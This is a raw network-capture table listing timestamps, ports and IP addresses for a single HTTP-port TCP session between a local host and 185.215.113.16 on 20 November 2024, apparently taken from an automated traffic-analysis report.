Nov 20, 2024 01:18:40.594028950 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594044924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594062090 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594063044 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594080925 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594113111 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594113111 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594130039 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594146013 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594150066 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594168901 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594185114 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594202042 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594224930 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594238997 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594253063 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594266891 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594280958 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594294071 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594310045 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594329119 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594331980 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594331980 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594331980 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594332933 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594332933 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594345093 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594371080 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594413996 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594413996 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594414949 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594433069 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594458103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594471931 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594485044 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594485044 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594489098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594505072 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594515085 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594518900 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594535112 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594553947 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594562054 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594569921 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594578028 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594589949 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594614983 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594616890 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594630003 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594645023 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594660044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594671011 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594674110 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594687939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594698906 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594703913 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594719887 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594728947 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594736099 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594744921 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594752073 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594780922 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594784021 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594799042 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594813108 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594822884 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594829082 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594844103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594856977 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594858885 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594873905 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594899893 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594904900 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594918966 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594932079 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594947100 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594939947 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594961882 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594970942 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.594975948 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.594990015 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595010996 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595010996 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595031977 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595046043 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595061064 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595076084 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595088959 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595088959 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595105886 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595110893 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595120907 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595130920 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595134974 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595149994 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595175982 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595182896 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595197916 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595210075 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595211983 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595227957 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595242023 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595242023 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595257998 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595268965 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595272064 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595287085 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595304966 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595331907 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595344067 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595357895 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595360041 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595374107 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595390081 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595402002 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595405102 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595419884 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595429897 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595434904 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595438957 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595453978 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595468044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595489025 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595493078 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595515013 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595518112 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595534086 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595550060 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595555067 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595565081 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595580101 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595596075 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595602989 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595609903 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595618010 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595626116 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595640898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595648050 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595657110 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595670938 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595685959 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595693111 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595700979 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595712900 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595726013 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595741034 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595756054 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595772028 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595778942 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595788002 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595803976 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595818996 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595835924 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595837116 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595854044 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595859051 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595870018 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595889091 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595906019 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595913887 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595921040 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595933914 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595937014 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595941067 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595969915 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595984936 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.595998049 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.595999956 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596014023 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596021891 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.596028090 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596041918 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596050024 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.596056938 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596071959 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596091032 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596105099 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596120119 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596121073 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.596129894 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.596136093 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596152067 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596163034 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.596167088 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596182108 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596190929 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.596203089 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596210003 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596216917 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.596239090 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.596291065 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.610203981 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.610203981 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615189075 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615209103 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615222931 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615237951 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615281105 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615370989 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615380049 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615396976 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615411997 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615426064 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615457058 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615474939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615483999 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615483999 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615494013 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615520000 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615552902 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615575075 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615600109 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615619898 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615623951 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615634918 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615648985 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615658045 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615664959 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615683079 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615689039 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615710020 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615735054 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615758896 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615777969 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615787983 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615796089 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615809917 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615827084 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615835905 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615845919 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615864992 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615873098 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615885973 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615888119 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615910053 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615926027 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615940094 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615953922 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615964890 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615967989 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.615976095 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.615983963 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616017103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616022110 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616039991 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616045952 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616070986 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616111040 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616134882 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616152048 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616162062 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616172075 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616182089 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616205931 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616209030 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616235971 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616246939 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616261959 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616286993 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616302013 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616311073 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616314888 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616342068 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616343975 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616364002 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616369009 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616396904 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616410971 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616426945 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616441965 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616456032 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616466045 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616471052 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616477013 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616491079 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616511106 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616532087 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616534948 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616555929 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616559982 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616578102 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616595030 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616600990 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616617918 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616632938 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616643906 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616647005 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616672039 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616673946 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616688967 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616705894 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616725922 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616733074 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616743088 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616750956 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616765022 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616780043 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616789103 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616792917 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616808891 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616816998 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616823912 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616837978 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616856098 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616874933 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616892099 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616899967 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616914034 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616916895 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616945028 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616960049 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616970062 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.616982937 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.616997957 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617010117 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.617012978 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617026091 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617042065 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617050886 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.617060900 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617085934 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.617104053 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617126942 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.617127895 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617150068 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617165089 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617181063 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617188931 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.617196083 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617209911 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617218018 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.617225885 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617244005 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617252111 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.617261887 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617269993 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.617295980 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617319107 CET	49807	80	192.168.2.5	185.215.113.16
Nov 20, 2024 01:18:40.617320061 CET	80	49807	185.215.113.16	192.168.2.5
Nov 20, 2024 01:18:40.617333889 CET	80	49807	185.215.113.16	192.168.2.5
